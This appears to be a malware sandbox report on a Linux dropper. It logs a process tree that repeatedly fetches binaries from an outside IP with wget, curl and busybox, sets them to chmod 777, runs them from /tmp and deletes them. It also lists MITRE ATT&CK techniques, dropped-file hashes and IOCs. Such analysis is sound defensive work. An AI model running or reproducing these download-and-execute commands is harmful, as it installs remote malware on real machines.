  /bin/busybox wget http://87.120.84.230/bins/vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  2⤵
  PID:957
- /bin/chmod
  chmod 777 vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  ./vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  2⤵
  - Executes dropped EXE
  PID:959
- /bin/rm
  rm vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
  2⤵
  PID:960
- /usr/bin/wget
  wget http://87.120.84.230/bins/cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  2⤵
  PID:961
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  2⤵
  PID:963
- /bin/chmod
  chmod 777 cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  ./cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
  2⤵
  PID:966
- /usr/bin/wget
  wget http://87.120.84.230/bins/5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  2⤵
  PID:967
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  2⤵
  PID:969
- /bin/chmod
  chmod 777 5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  ./5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm 5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
  2⤵
  PID:972
- /usr/bin/wget
  wget http://87.120.84.230/bins/UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  2⤵
  PID:973
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  2⤵
  PID:975
- /bin/chmod
  chmod 777 UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  ./UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  2⤵
  - Executes dropped EXE
  PID:977
- /bin/rm
  rm UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
  2⤵
  PID:978
- /usr/bin/wget
  wget http://87.120.84.230/bins/TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  2⤵
  PID:979
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:980
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  2⤵
  PID:981
- /bin/chmod
  chmod 777 TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  ./TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  2⤵
  - Executes dropped EXE
  PID:983
- /bin/rm
  rm TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
  2⤵
  PID:984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7

Path /tmp/KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7	742	KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
/tmp/OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7	749	OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
/tmp/uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9	760	uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
/tmp/vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2	787	vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
/tmp/t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL	812	t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
/tmp/5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP	818	5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
/tmp/UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY	837	UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
/tmp/TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY	860	TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY
/tmp/cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY	869	cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
/tmp/VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN	875	VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
/tmp/ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK	881	ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
/tmp/F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw	887	F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
/tmp/3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm	893	3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
/tmp/PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f	899	PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
/tmp/VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN	905	VSOY9Tj58BSZg9nh0ayq4HFjhWDIKz5kZN
/tmp/PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f	911	PqrIpl91kpYs6GXmpGIrRHnyUn9z4KNJ3f
/tmp/ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK	917	ACmlaDGuwbPUSknWVekZUJ5pqxJWJ9zYxK
/tmp/F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw	923	F81MESwjvkyxM19BF6mTiUvzoEpcqm3uZw
/tmp/3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm	929	3Fx6pSg1ctlDlkG35FfLIfGdSIAJ5VlXPm
/tmp/t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL	935	t80g4X0vD5gjcwAwG91aTiIHMnZJ0qNdhL
/tmp/KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7	941	KCiDRl4K38tdSwvVR19inCYz0xLlXVG7Z7
/tmp/OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7	947	OuUaiTR7HTQYD6b7eIRCJAqc1QmGahPqF7
/tmp/uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9	953	uC9ZTFpFGijb9GpBWcADGvYfOj4R6ZH5N9
/tmp/vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2	959	vcmNXK1Z18xuYgkmFLQ4yGgBzQ9qpKF0Q2
/tmp/cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY	965	cD9xOCpX9djUdjkIAXhXScmOAC6g9AD3kY
/tmp/5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP	971	5zpLAEAqOOOYueM0HCwUOdUskCFttsXSAP
/tmp/UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY	977	UMlD8VuilCTzwv90nEe83jpPJBI0xOw5SY
/tmp/TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY	983	TwzVeOt4SDJnSSHcgpUjD5LRPhjcwYH1sY